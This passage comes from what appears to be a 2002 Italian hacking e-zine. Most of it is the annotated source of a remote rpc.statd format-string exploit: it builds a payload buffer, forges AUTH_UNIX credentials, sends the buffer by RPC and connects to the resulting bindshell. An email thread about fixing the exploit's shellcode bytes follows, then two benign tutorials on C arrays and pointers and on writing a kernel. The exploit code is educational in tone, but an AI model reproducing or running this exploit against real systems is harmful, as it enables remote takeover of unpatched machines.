| send(sockd, "cd /; ls -alF; id;\n", 19, 0); |
| |
| for(;;) |
| { |
| |
| FD_ZERO(&fds); |
| FD_SET(fileno(stdin), &fds); |
| FD_SET(sockd, &fds); |
| |
| if(select(fmax, &fds, NULL, NULL, NULL) < 0) |
| { |
| perror("select()"); |
| exit(EXIT_FAILURE); |
| } |
| |
| if(FD_ISSET(sockd, &fds)) |
| { |
| bzero(buff, sizeof buff); |
| if((ret = recv(sockd, buff, sizeof buff, 0)) < 0) |
| { |
| perror("recv()"); |
| exit(EXIT_FAILURE); |
| } |
| if(!ret) |
| { |
| fprintf(stderr, "Connection closed\n"); |
| exit(EXIT_FAILURE); |
| } |
| write(fileno(stdout), buff, ret); |
| } |
| |
| if(FD_ISSET(fileno(stdin), &fds)) |
| { |
| bzero(buff, sizeof buff); |
| ret = read(fileno(stdin), buff, sizeof buff); |
| errno = 0; |
| if(send(sockd, buff, ret, 0) != ret) |
| { |
| if(errno) perror("send()"); |
| else fprintf(stderr, "Transmission loss\n"); |
| exit(EXIT_FAILURE); |
| } |
| } |
| } |
| } |
| |
| /** |
| *** |
| *** >>> tentativo di collegamento TCP sulla porta selezionata (se |
| *** >>> non specificato diversamente e' la 39168). In caso di |
| *** >>> connessione riuscita, attiva la parte client della |
| *** >>> connessione stessa. Insieme alla routine "runshell" vista |
| *** >>> in precedenza, puo' essere sostituita da un qualsiasi |
| *** >>> "telnet" sulla porta. |
| *** |
| **/ |
| |
| |
| void |
| connection(struct sockaddr_in host) |
| { |
| int sockd; |
| |
| host.sin_port = htons(39168); |
| |
| if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) |
| { |
| perror("socket()"); |
| exit(EXIT_FAILURE); |
| } |
| |
| if(!connect(sockd, (struct sockaddr *) &host, sizeof host)) |
| { |
| printf("OMG! You now have rpc.statd technique!@#$!\n"); |
| runshell(sockd); |
| } |
| |
| close(sockd); |
| } |
| |
| |
| /** |
| * |
| * >>> eccola, la "magia" che compone il buffer in maniera opportuna, |
| * >>> a seconda del tipo di sistema che si desidera attaccare; proprio |
| * >>> per questo motivo la parametrizzazione e' totale. |
| * |
| **/ |
| |
| |
| char * |
| wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe) |
| { |
| int i, j, cnt, pad; |
| char pbyte, *buff, *ptr; |
| u_long retpos; |
| u_long dstpos; |
| |
| |
| while(bufpos % 4) bufpos--; |
| /* buflen + ebp */ |
| retpos = bufpos + buflen + 4; |
| |
| /*** |
| * |
| * >>> Ahime', l'indirizzo NON puo' contenere byte che valgano 0x00 |
| * >>> oppure 0x24, poiche' tali caratteri "disturberebbero" |
| * >>> il corretto comportamento della vsnprintf |
| * >>> (il primo tronca prematuramente la stringa, il secondo |
| * >>> introdurrebbe una conversione non corretta) |
| * |
| **/ |
| |
| |
| /* |
| ** 0x00 == '\0' |
| ** 0x25 == '%' |
| ** (add troublesome bytes) |
| ** Alignment requirements aid comparisons |
| */ |
| |
| pbyte = retpos & 0xff; |
| |
| /* Yes, it's 0x24 */ |
| if(pbyte == 0x00 || pbyte == 0x24) |
| { |
| fprintf(stderr, "Target address space contains a poison char\n"); |
| exit(EXIT_FAILURE); |
| } |
| |
| /* |
| ** Unless the user gives us a psychotic value, |
| ** the address should now be clean. |
| */ |
| |
| /* str */ |
| cnt = 24; |
| /* 1 = process nul */ |
| buflen -= cnt + 1; |
| |
| if(!(buff = malloc(buflen + 1))) |
| { |
| perror("malloc()"); |
| exit(EXIT_FAILURE); |
| } |
| |
| /** |
| *** |
| *** >>> preparo il buffer: riempio di NOP |
| *** |
| **/ |
| |
| |
| ptr = buff; |
| memset(ptr, NOP, buflen); |
| |
| /** |
| *** |
| *** >>> metto gli indirizzi che desidero vengano sovrascritti |
| *** |
| **/ |
| |
| |
| for(i = 0; i < 4; i++, retpos++) |
| { |
| /* junk dword */ |
| for(j = 0; j < 4; j++) |
| *ptr++ = retpos >> j * 8 & 0xff; |
| /* r + i */ |
| memcpy(ptr, ptr - 4, 4); |
| ptr += 4; cnt += 8; |
| } |
| |
| /* restore */ |
| retpos -= 4; |
| |
| /** |
| * |
| * >>> incomincio le formattazioni per "saltare" le informazioni |
| * >>> che non mi interessano (va_list e le stringhe prima del buffer) |
| * |
| **/ |
| |
| for(i = 0; i < wipe; i++) |
| { |
| /* consistent calculations */ |
| strncpy(ptr, "%8x", 3); |
| ptr += 3; cnt += 8; |
| } |
| |
| /** |
| *** |
| *** >>> calcolo l'indirizzo di partenza del mio codice |
| *** |
| **/ |
| |
| dstpos = bufpos + offset; |
| |
| /* |
| ** This small algorithm of mine can be used |
| ** to obtain "difficult" values.. |
| */ |
| |
| |
| |
| /** |
| *** |
| *** >>> imposto le formattazioni per ottenere la riscrittura |
| *** >>> dell'indirizzo di ritorno con il valore di "dstpos", che |
| *** >>> corrisponde all'inizio dello shellcode |
| *** |
| **/ |
| |
| |
| for(i = 0; i < 4; i++) |
| { |
| pad = dstpos >> i * 8 & 0xff; |
| if(pad == (cnt & 0xff)) |
| { |
| sprintf(ptr, "%%n%%n"); |
| ptr += 4; continue; |
| } |
| else |
| { |
| int tmp; |
| /* 0xffffffff = display count of 8 */ |
| while(pad < cnt || pad % cnt <= 8) pad += 0x100; |
| pad -= cnt, cnt += pad; |
| /* the source of this evil */ |
| tmp = sprintf(ptr, "%%%dx%%n", pad); |
| ptr += tmp; |
| } |
| |
| } |
| |
| |
| /** |
| *** |
| *** >>> carico alla fine del buffer lo shellcode |
| *** >>> che implementa la backdoor |
| *** |
| **/ |
| |
| *ptr = NOP; |
| /* plug in the shellcode */ |
| memcpy(buff + buflen - strlen(sc), sc, strlen(sc)); |
| buff[buflen] = '\0'; |
| |
| //* |
| *** |
| *** >>> visualizzo i valori utilizzati (per controllo) |
| *** |
| **/ |
| |
| |
| printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff)); |
| printf("target: %#lx new: %#lx (offset: %d)\n", |
| retpos, dstpos, offset); |
| printf("wiping %d dwords\n", wipe); |
| return buff; |
| } |
| |
| |
| /** |
| *** |
| *** >>> routine di servizio per la determinazione dell'indirizzo IP |
| *** |
| **/ |
| |
| |
| struct in_addr |
| getip(char *host) |
| { |
| struct hostent *hs; |
| |
| if((hs = gethostbyname(host)) == NULL) |
| { |
| herror("gethostbyname()"); |
| exit(EXIT_FAILURE); |
| } |
| |
| return *((struct in_addr *) hs->h_addr); |
| } |
| |
| |
| /** |
| *** |
| *** >>> THE MAIN PROGRAM ITSELF ;) |
| *** |
| **/ |
| |
| int |
| main(int argc, char **argv) |
| { |
| int ch; |
| char *buff; |
| |
| CLIENT *clnt; |
| enum clnt_stat res; |
| struct timeval tv, tvr; |
| struct sm_name smname; |
| struct sm_stat_res smres; |
| struct sockaddr_in addr; |
| |
| int type = -1; |
| int usetcp = 0; |
| int timeout = 5; |
| int wipe = 9; |
| int offset = 600; |
| int buflen = 1024; |
| char *target; |
| char *sc = shellcode; |
| u_short port = 0; |
| u_long bufpos = 0; |
| |
| int sockp = RPC_ANYSOCK; |
| |
| extern char *optarg; |
| extern int optind; |
| extern int opterr; |
| opterr = 0; |
| |
| /** |
| *** |
| *** >>> ciclo di gestione delle eventuali opzioni |
| *** |
| **/ |
| |
| while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1) |
| { |
| switch(ch) |
| { |
| case 't': usetcp = 1; break; |
| case 'p': sscanf(optarg, "%hu", &port); break; |
| case 'a': sscanf(optarg, "%lx", &bufpos); break; |
| case 'l': buflen = atoi(optarg); break; |
| case 'o': offset = atoi(optarg); break; |
| case 's': timeout = atoi(optarg); break; |
| case 'w': wipe = atoi(optarg); break; |
| case 'd': type = atoi(optarg); break; |
| default : usage(argv[0]); |
| } |
| } |
| |
| /** |
| *** |
| *** >>> controllo che sia stato specificato un host come target |
| *** |
| **/ |
| |
| if(!(target = argv[optind])) |
| { |
| fprintf(stderr, "No target host specified\n"); |
| exit(EXIT_FAILURE); |
| } |
| |
| |
| /** |
| *** |
| *** >>> se per caso e' stato specificato un tipo predefinito, |
| *** >>> valorizzo le variabili con i valori relativi al tipo scelto |
| *** |
| **/ |
| |
| if(type >= 0) |
| { |
| if(type >= sizeof types / sizeof types[0] - 1) |
| { |
| fprintf(stderr, "Invalid type\n"); |
| exit(EXIT_FAILURE); |
| } |
| |
| sc = types[type].code; |
| bufpos = types[type].bufpos; |
| buflen = types[type].buflen; |
| offset = types[type].offset; |
| wipe = types[type].wipe; |
| } |
| |
| if(!bufpos) |
| { |
| fprintf(stderr, "No buffer address specified\n"); |
| exit(EXIT_FAILURE); |
| } |
| |
| bzero(&addr, sizeof addr); |
| addr.sin_family = AF_INET; |
| addr.sin_port = htons(port); |
| addr.sin_addr = getip(target); |
| |
| tv.tv_sec = timeout; |
| tv.tv_usec = 0; |
| |
| |
| /** |
| *** |
| *** >>> creazione della connessione specifica (TCP o UDP) |
| *** >>> sulla base della selezione effettuata |
| *** |
| **/ |
| |
| if(!usetcp) |
| { |
| clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp); |
| if(clnt == NULL) |
| { |
| clnt_pcreateerror("clntudp_create()"); |
| exit(EXIT_FAILURE); |
| } |
| tvr.tv_sec = 2; |
| tvr.tv_usec = 0; |
| clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr); |
| } |
| else |
| { |
| clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0); |
| if(clnt == NULL) |
| { |
| clnt_pcreateerror("clnttcp_create()"); |
| exit(EXIT_FAILURE); |
| } |
| } |
| |
| /* AUTH_UNIX / AUTH_SYS authentication forgery */ |
| clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); |
| |
| /** |
| *** |
| *** >>> Preparazione del buffer secondo le regole specificate |
| *** |
| **/ |
| |
| buff = wizardry(sc, bufpos, buflen, offset, wipe); |
| smname.mon_name = buff; |
| |
| |
| /** |
| *** |
| *** >>> invio del buffer per tentare l'exploit |
| *** |
| **/ |
| |
| res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name, |
| (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res, |
| (caddr_t) &smres, tv); |
| |
| |
| /** |
| *** |
| *** >>> controllo dello stato di ritorno dell'operazione; se |
| *** >>> fallisce, e' probabile che sul target sia stato attivato |
| *** >>> lo shellcode e quindi la backdoor ;) |
| *** |
| **/ |
| |
| if(res != RPC_SUCCESS) |
| { |
| clnt_perror(clnt, "clnt_call()"); |
| printf("A timeout was expected. Attempting connection to shell..\n"); |
| |
| /** |
| *** |
| *** >>> OK! Proviamo a connetterci alla backdoor |
| *** |
| **/ |
| |
| sleep(5); connection(addr); |
| |
| /** |
| *** |
| *** >>> se si arriva qui qualcosa e' andato storto :/ |
| *** |
| **/ |
| |
| printf("Failed\n"); |
| } |
| else |
| |
| /** |
| * |
| * >>> hmmm.. l'invio del buffer di exploit ha restituito una condizione |
| * >>> NON di errore... questa poi! |
| * |
| **/ |
| |
| { |
| printf("Failed - statd returned res_stat: (%s) state: %d\n", |
| smres.res_stat ? "failure" : "success", smres.state); |
| } |
| |
| |
| /** |
| * |
| * >>>beh,per quello che puo' valere,almeno chiudiamo in modo ordinato. |
| * |
| **/ |
| |
| free(buff); |
| clnt_destroy(clnt); |
| return -1; |
| } |
| |
| ************************ fine del listato ************************* |
| |
| |
| 7. EXTRA! EXTRA! Ho trovato un piccolo "bug"! |
| (...i miei dieci eurocentesimi di contributo... ;) |
| |
| Come avrete potuto notare dai commenti nel listato dello shellcode, |
| in corrispondenza dello sviluppo della chiamata alla funzione accept |
| esistono due istruzioni (xorb e movb) commentate e sostituite da |
| altre due (xorl e movl). Esse sono il frutto del duro lavoro di debug |
| effettuato dal sottoscritto sullo shellcode in esame allo scopo di |
| capire per quale motivo non sempre venisse restituita una shell |
| in attesa sulla porta "magica"... |
| |
| Credo che la migliore spegazione possa essere trovata dal messaggio |
| di posta elettronica che lo stesso autore mi ha inviato in |
| risposta alla mia segnalazione relativa al "bug" in questione. |
| |
| Vi lascio pertanto alla amabile lettura del messaggio in questione, |
| scusandomi per l'enormita' di questo articolo... credo pero' che ne |
| sia valsa la pena. |
| |
| From: "ron1n -" <shellcode@hotmail.com> |
| To: xyzzy@vxp.com |
| Subject: Re: a little bug into your shellcode |
| Date: Wed, 25 Jul 2001 14:06:14 +1000 |
| |
| ---------------------------------------------------------------------- |
| |
| Hi, |
| |
| Thanks for pointing that out. You've found a bug |
| that caused something which puzzled me somewhat |
| last year. |
| |
| If I understand it right, the following diagram |
| shows my error: |
| |
| |
| - ecx |
| 00]sd |
| 01]0 |
| 02]0 |
| 03]0 |
| 04] <- lsb 0 |
| 05]p12 !!! |
| 06]p12 !!! |
| 07]p12 !!! |
| 08]0x10 |
| 09]0 |
| 10]0 |
| 11]0 |
| - socket structure |
| 12]2 |
| 13]0 |
| 14]0x99 | |
| 15]0 | port |
| 16]0 |
| 17]0 |
| 18]0 |
| 19]0 |
| [...] |
| |
| |
| Darn :( |
| |
| If I ever make a personal website, I'll store |
| the exploit on it with a small patch (with |
| credit to you for finding the bug, of course). |
| |
| Looking at that exploit (and version 2 of it) |
| still embarrasses me a lot, mainly because |
| it was my first remote and I had only been |
| into asm for a couple of months. I actually |
| thought 125-135 bytes was good until I saw |
| people who have optimized to like 80-90 bytes... |
| |
| Once again, thanks. |
| |
| ron1n |
| |
| |
| > From: "Magic word XYZZY" <xyzzy@vxp.com> |
| > To: shellcode@hotmail.com |
| > Subject: a little bug into your shellcode |
| > Date: Tue, 24 Jul 2001 15:33:07 -0700 |
| ---------------------------------------------------------------------- |
| > |
| > Hello, |
| > |
| > I am writing this message to inform you that I've probably found |
| > a little |
| > bug into the shellcode included in the "statdx.c" remote exploit. |
| > |
| > In detail, the problem arises in the following part |
| > |
| > |
| > |
| >/* ------------------------------- bind(sd,&sockaddr,16); -------- */ |
| >"\xb3\x02" /* movb $0x2,%bl */ |
| >"\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */ |
| >"\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */ |
| >"\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */ |
| >"\x89\x49\x04" /* movl %ecx,0x4(%ecx) */ |
| > |
| >Here the location at 0x4(%ecx) contains the address of the "sockaddr" |
| > pseudo structure, thus it is a "fullfilled" longword. |
| > |
| > |
| >"\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */ |
| >"\x88\x01" /* movb %al,(%ecx) */ |
| >"\xb0\x66" /* movb $0x66,%al */ |
| >"\xcd\x80" /* int $0x80 */ |
| >/* ------------------------------- listen(sd,blah); -------------- */ |
| >"\xb3\x04" /* movb $0x4,%bl */ |
| >"\xb0\x66" /* movb $0x66,%al */ |
| >"\xcd\x80" /* int $0x80 */ |
| >/* ------------------------------- accept(sd,0,16); -------------- */ |
| >"\xb3\x05" /* movb $0x5,%bl */ |
| >"\x30\xc0" /* xorb %al,%al */ |
| >"\x88\x41\x04" /* movb %al,0x4(%ecx) */ |
| > |
| >Here, in order to clear the "addr" field of the accept (thus avoiding |
| >the "annoying" write of the third argument), you should move a cleared |
| >longword, but the instructions I see are only clearing the least |
| >significant byte of the location. AS a result the accept returns "-14" |
| >(or EFAULT) stating that the address (I guess it is the third |
| >argument, NOT the second) is not in a writeable address space. To let |
| >things work, I modified the two instructions |
| > |
| >"\x30\xc0" /* xorb %al,%al */ |
| >"\x88\x41\x04" /* movb %al,0x4(%ecx) */ |
| > |
| >with their "longword" counterparts |
| > |
| >"\x31\xc0" /* xorl %eax,%eax */ |
| >"\x89\x41\x04" /* movl %eax,0x4(%ecx) */ |
| > |
| > |
| >Hoping this could be of some interest, I remain |
| > |
| >faithfully your |
| > |
| > |
| > |
| >Saluti |
| > |
| >xyzzy |
| > |
| >---------------------------------------------------------------------- |
| >You are in a debris room filled with stuff washed in from the surface. |
| >A low wide passage with cobbles becomes plugged with mud and debris |
| >here, but an awkward canyon leads upward and west. A note on the wall |
| >says "Magic word XYZZY". |
| |
| |
| |
| 8. Saluti e baci ;) |
| |
| Bene, signore e signori, qui finisce la mia lunga fatica. |
| Non posso negare di essermi davvero divertito a (cercare di) spiegare |
| gli arcani misteri di alcune delle piu' usate tecniche di exploit |
| remoto. Lungi da me l'idea di atteggiarmi ad "esperto" di queste cose, |
| ho semplicemente voluto dare un contributo nella misura in cui ero |
| stato, all'epoca, coinvolto (ricordo a tutti che l'elemento scatenante |
| fu rappresentato da un paio di miei server bellamente violati |
| da ignoti...) |
| |
| Nelle prossime puntate di questa simpatica e-zine vedro' di riuscire a |
| mantenere, in un modo o nell'altro, una certa quale costanza di |
| contributo, nella speranza di essere perlomeno non noioso... :) :) :) |
| |
| |
| ...ultima cosa: non mi dimentico del piccolo "quiz" che avevo proposto |
| alla fine della scorsa puntata... se qualcuno avesse una risposta, o |
| semplicemente fosse interessato a conoscerla, puo' liberamente |
| scrivermi all'indirizzo e-mail xyzzy@vxp.com. Prometto che rispondero' |
| magari non immediatamente, ma rispondero' ;) |
| |
| Grazie a tutti per la pazienza che avete messo nel leggermi fino qui. |
| |
| A presto |
| |
| xyzzy |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #06 - 25/04/2002 |
| C0RS0 Di C [PARTE QUINTA] [AndreaGeddon] 0x0C/0x1D |
+--------------------------------------------------------------------------+
| |
| Abbiamo visto nelle puntate precedenti gli operatori e i costrutti di |
| base del C, che poi sono molto simili in tutti i linguaggi imperativi, |
| adesso vediamo dei costrutti più avanzati e funzionali, quali array e |
| funzioni; di conseguenza dovremo chiarire i concetti di ambito delle |
| variabili, gestione dello stack e puntatori. Niente di difficile, basterà|
| vedere qualche esempio per fare luce nelle vostre zucche. |
| Partiamo dagli array. Avete già visto le variabili, e con esse i tipi di |
| dato, ma se vi serve una serie di variabili come facciamo? Cioè se ci |
| serve una serie di 100 variabili intere, dobbiamo definirle come: |
| |
| int var1, var2, var3, ... , var100; |
| |
| sarebbe improponibile! Ecco quindi che arrivano gli array. Definendo un |
| array non facciamo altro che riservare un blocco di memoria contenente |
| un numero di variabili specificato da noi. Ecco come si dichiara: |
| |
| int interi[10]; |
| char caratteri[50]; |
| |
| nel primo caso abbiamo definito una lista di 10 interi, nel secondo una |
| lista di 50 caratteri. I più svegli di voi avranno già intuito che le |
| stringhe sono assimilabili ad array di caratteri. Comunque, abbiamo |
| definito i nostri array, ora che ci facciamo? Dove ce li mettiamo? |
| Risparmiatevi please l'ovvia risposta: avendo la nostra lista di interi |
| possiamo in ogni momento accedere ad un qualsiasi elemento della lista |
| semplicemente specificandone l'indice, se ad esempio vogliamo prendere |
| il terzo elemento della lista di interi dobbiamo usare la notazione: |
| |
| int a = interi[2]; |
| |
| l'indice 2 rappresenta il TERZO elemento:infatti gli arrai sono numerati |
| da 0 ad n-1, e non da 1 ad n. Altra considerazione,un array è uno spazio |
| contiguo per cui può essere gestito anche tramite il puntatore: abbiamo |
| definito l'array interi[10], dove array[n] rappresenta un generico |
| elemento, se invece usiamo solo il nome interi senza le [] allora vuol |
| dire che stiamo considerando il puntatore al primo elemento della lista, |
| dunque volendo potremmo accedere ai vari elementi della lista |
| incrementando il puntatore stesso. Lo so detto così è un pò caotico, |
| vediamo uno snippet di codice per capire: |
| |
| #include <stdio.h> |
| main() |
| { |
| int interi[10]; |
| int i; |
| |
| for(i=0; i<10; i++) |
| { |
| interi[i] = i; |
| } |
| |
| for(i=0; i<10; i++) |
| { |
| printf("stampa numeri tramite []: %d\n", interi[i]); |
| } |
| return 0; |
| } |
| |
| Con il primo for inizializziamo l'array, mettiamo in ogni elemento i il |
| valore dell'indice i, con il secondo for stampiamo su schermo il |
| risultato, in questo caso i numeri da 0 a 9. Abbiamo prima parlato di |
| puntatori, cosa sono? Se voi definite una variabile int, ogni volta che |
| la usate vi riferite al valore intero. Il puntatore invece è l'indirizzo |
| di memoria che contiene il valore numerico stesso. Vediamo uno schema: |
| |
| locazione valore |
| +-------------+-------------+ |
| | 0xFFFFFFFF | n | |
| +-------------+-------------+ |
| | 0xFFFFFFFE | m | |
| +-------------+-------------+ |
| | .......... | ... | |
| +-------------+-------------+ |
| | 0x12345678 | 100 | |
| +-------------+-------------+ |
| | .......... | ... | |
| +-------------+-------------+ |
| | 0x00000000 | x | |
| +-------------+-------------+ |
| |
| ad esempio se noi definiamo una variabile int prova = 100, questa sarà |
| messa da qualche parte in memoria, Ogni volta che useremo la variabile |
| prova noi ci riferiremo al valore 100,mentre ogni volta che ci riferiamo |
| al puntatore ci riferiamo al valore 0x12345678 che è l'indirizzo della |
| variabile in memoria. Vediamo come si dichiara un puntatore: |
| |
| #include <stdio.h> |
| main() |
| { |
| int* prova; |
| int prova2; |
| printf("Puntatore con *: %d\n", prova); |
| printf("Puntatore con &: %d\n", &prova2); |
| } |
| |
| abbiamo usato gli operatori * e &. Il primo in fase di dichiarazione, |
| abbiamo dichiarato un puntatore a intero (prova)e poi l'abbiamo stampato |
| su schermo, nel secondo caso invece abbiamo definito un int normalmente |
| ma poi in fase di stampa invece della variabile prova2 abbiamo passato |
| &prova2, che indica l'indirizzo della variabile prova2. In entrambi i |
| casi non viene stampato il valore intero ma il valore del suo puntatore, |
| cioè l'indirizzo di memoria della variabile stessa. Perchè parliamo |
| di puntatori? Perchè adesso dovremo parlare delle funzioni. |
| Una funzione è una relazione matematica che ad un elemento del dominio |
| associa al più un elemento del codominio... oops no quello è un'altra |
| cosa! Una funzione è un pezzo di codice che possiamo chiamare quando |
| vogliamo nel nostro programma. Di solito le funzioni prendono in input |
| dei parametri e restituiscono in output un risultato.Le funzioni possono |
| essere interne (cioè risiedono nel programma) oppure essere esterne,cioè |
| risiedono in moduli esterni al programma (ad esempio le dll di windows). |
| Per adesso ci occuperemo delle funzioni interne. Una funzione deve avere |
| un prototipo e un corpo. Il prototipo va definito prima dell'uso della |
| funzione stessa, come ad esempio: |
| |
| int funzione(int parametro1, long parametro2); |
| |
| questa dichiarazione vuol dire che la funzione prende in input un intero |
| e un long, e restituisce come valore un intero.E' importante capire come |
| funziona il passaggio di variabili, ovvero il loro ambito, che è anche |
| alla base della comprensione della tecnica dei buffer overflow.Quando il |
| compilatore C trova una funzione le crea uno stack privato (a meno di |
| alcune eccezioni), stack che poi viene eliminato all'uscita della |
| funzione. Le variabili devono tenere conto di questo fatto: le funzioni |
| infatti devono distinguere tra variabili globali e locali. Facciamo un |
| esempio: |
| |
| #include <stdio.h> |
| int a = 1000; |
| int c = 2000; |
| long somma(int a, int b); |
| main() |
| { |
| int a = 100; |
| printf("%d\n", somma(10, 30)); |
| } |
| |
| long somma(int a, int b) |
| { |
| return a + b; |
| } |
| |
| Il printf stampa il risultato della funzione somma, che appunto somma i |
| due interi passati (10 e 30), per cui il risultato sarà 40. Notate che |
| la variabile "a" è definita localmente nella funzione somma, localmente |
| nella funzione main e globalmente all'infuori della main. Notate anche |
| che ciò non interferisce con il nostro codice: la variabile a dentro la |
| funzione somma non è modificata dalle altre definizioni di a, così come |
| la variabile a nella main non è modificata dalla a al di fuori della |
| main, tutto questo grazie all'ambito di una variabile. La funzione somma |
| infatti ha un proprio namespace,cioè all'interno della funzione somma la |
| a che conta è quella definita nel suo prototipo, e solo quella. La |
| variabile c invece è globale e definita una volta sola, per cui ogni |
| riferimento a tale variabile nella main o nella funzione somma andrà a |
| modificare il valore della c globale. Visto dal lato del compilatore il |
| tutto risulta ancora più semplice: le variabili definite localmente in |
| una funzione vanno a finire sullo stack, mentre le variabili gloabli |
| sono salvate come dati fisicamente all'interno della sezione di dati del |
| programma stesso. Se in una funzione vogliamo una variabile non globale |
| ma che non sia volatile come quelle locali, possiamo definirla usando la |
| parola chiave "static", ad esempio: |
| |
| int funzione(int a) |
| { |
| int b; |
| static int c; |
| .... |
| } |
| |
| in questo modo anche la variabile c sarà salvata nella sezione dati e no |
| sul volatile stack. Cosa comporta questo? Se noi chiamiamo la funzione e |
| assegnamo un valore a b e uno a c, quando andremo a richiamare di nuovo |
| la funzione la variabile b conterrà un valore casuale, mentre c conterrà |
| il valore assegnatogli dall'ultima modifica fatta nella precedente |
| chiamata alla funzione. Le variabili passate come argomento vanno anche |
| esse nello stack, per cui sorgono alcuni problemi. Vediamo il seguente |
| esempio: |
| |
| #include <stdio.h> |
| long somma(int a, int b); |
| int a = 10; |
| main() |
| { |
| int c = 70; |
| printf("%d\n", somma(a, c)); |
| printf("a: %d c: %d\n", a, c); |
| } |
| |
| long somma(int a, int b) |
| { |
| a = a + b; |
| return a; |
| } |
| |
| stavolta alla funzione somma abbiamo passato direttamente due variabili |
| contenenti i valori da sommare. Ebbene come risultato vedete che viene |
| restituita la somma delle due variabili e poi viene stampato il loro |
| valore: notate che a e c non sono state modificate. Proprio perchè c'è |
| il passaggio di "copia" nello stack in fase della chiamata a somma: le |
| variabili non subiscono nessun cambiamento. Il problema si pone quando |
| per qualche motivo vogliamo che alcune delle variabli che passiamo siano |
| modificate anche fuori dalla funzione. Se ad esempio nel precedente |
| codice avessimo voluto che la variabile a modificata nella funzione somma|
| avesse mantenuto la modifica (cioè da 10 mantenesse il valore 80) allora |
| avremmo dovuto modificare la funzione affinchè prendesse il puntatore |
| alla variabile a: in tal caso il puntatore viene copiato e non alterato, |
| ma il relativo contenuto di memoria, cioè il valore di a, sarebbe stato |
| alterato in modo permanente. Esempio: |
| |
| #include <stdio.h> |
| long somma(int* a, int b); |
| int a = 10; |
| main() |
| { |
| int c = 70; |
| printf("%d\n", somma(&a, c)); |
| printf("a: %d c: %d\n", a, c); |
| } |
| long somma(int* a, int b) |
| { |
| *a = *a+b; |
| return *a; |
| } |
| |
| stavolta somma prende un puntatore a intero come primo parametro,per cui |
| il programma prima stamperà il risultato della somma sullo schermo, cioè |
| 80 e poi i valori di a e c, relativamente 80 e 70. Questo perchè a ha |
| mantenuto le modifiche effettuate dalla funzione somma. Nella funzione |
| come vedete ho usato *a e non a proprio per indicare il valore puntato da|
| a. Questo torna molto utile quando dovete ad esempio passare strutture o |
| puntatori a buffer nelle vostre funzioni. |
| Ovviamente non sta bene sovraccaricare lo stack,e capita spesso di dover |
| definire dei blocchi di memoria di size non noto a priori, vedremo la |
| prossima volta come allocare memoria per risolvere entrambi questi |
| problemi, vedremo anche come stare attenti a non andare in overflow e |
| vedremo la tecnica di ricorsione (cioè funzioni che richiamano sè stesse)|
| ora vediamo un programma riassuntivo: |
| |
| #include <stdio.h> |
| /* questa riga dichiara il prototipo della funzione media*/ |
| int media(int* lista); |
| main() |
| { |
| int numeri[10], i; |
| printf("inserisci dieci numeri per la media:\n"); |
| for(i=0; i<10; i++) |
| { |
| scanf("%d", &numeri[i]); |
| } |
| printf("la media e': %d\n", media(numeri)); |
|/* le funzioni possono essere incapsulate l'una nell'altra*/ |
| return 0; |
| } |
| int media(int* lista) |
| { |
| long a = 0; |
| int i; |
| for(i=0; i<10; i++) |
| { |
| a = a + lista[i]; |
| } |
| return a / 10; |
| } |
| |
| Il prototipo di funzione non è obbligatorio dichiararlo, basta che la |
| chiamata alla funzione venga fatta in un punto sotto la definizione |
| della funzione stessa, cmq è buona norma usare i prototipi. |
| |
| Con questo termina anche questa parte del corso,ci vediamo alla prossima |
| see ya |
| |
| |
| AndreaGeddon |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #06 - 25/04/2002 |
| 0S FR0M ZER0 - CHAPTER 3 [Alexander The Great] 0x0D/0x1D |
+--------------------------------------------------------------------------+
| |
| Direi che la teoria e` utile, ed il capitolo 2 ha cercato di spiegare, |
| in teoria per l'appunto, le prime cose che costituiranno problemi da |
| risolvere nella costruzione di un kernel; e in effetti il capitolo 2 ha |
| lasciato moltissime lacune; ha toccato, direi, la famigerata "punta |
| dell'iceberg". Be', la teoria e` necessaria, ma si sa, a un certo punto |
| si rende necessaria anche la pratica, nel nostro caso altrimenti nota |
| come la "fase dello spippolamento"; e nel mio metodo di apprendimento, |
| quella fase arriva sempre molto presto. |
| |
| Quindi passiamo pure alla pratica; e anche pesantemente, stavolta. |
| Premunitevi di analgesici: vi GARANTISCO che, non importa quanto lunga |
| la sappiate sui PC, alla fine vi verra` un mal di testa da far paura... |
| che diamine, e` venuto anche a me mentre sviluppavo 'sto kernel! |
| |
| Oggi cominciamo a esaminare il nostro belliFFimo "kernel", termine che |
| indica il gruppo di istruzioni fondamentali su cui un sistema operativo |
| si basa, e da non confondere con "kennel", che significa "canile" e non |
| ha niente a che vedere con un sistema operativo; lo dico perche` l'ho |
| visto indicare come "kennel" un sacco di volte... |
| |
| Gia`, ma cosa dovrebbe fare un kernel, in ultima analisi? |
| Be', per quanto riguarda i dettagli, le mansioni di un kernel dipendono |
| dal sistema operativo che si vuole costruire, ma di certo ci sono delle |
| funzioni fondamentali che non possono mancare, e che riguardano in primo |
| luogo l'interfacciamento dei programmi con le periferiche. Il concetto |
| di "periferiche", in questo ambito comprende anche entita` come la |
| memoria centrale (la RAM) e le memorie di massa (i floppy e gli HD), |
| nonche` i dispositivi di I-O piu` comuni: tastiera e video. |
| In sintesi, un kernel e` costituito per lo piu` da una serie di routines |
| (o funzioni, o procedure, chiamatele come vi pare) che i programmi |
| possano chiamare, e che assicurano la gestione, per quanto minima, di |
| ALMENO le suddette periferiche. |
| |
| Voce di lettore/trice che batte i piedi: - No, no, no! Ma, e il MoDem?! |
| |
| - Il MoDem non e` una periferica di I-O fondamentale, anche se, con la |
| dovuta pazienza, vedremo come controllare quelli piu` standard, cioe` |
| i modem seriali, ma non serve a nulla cercare di connettersi al proprio |
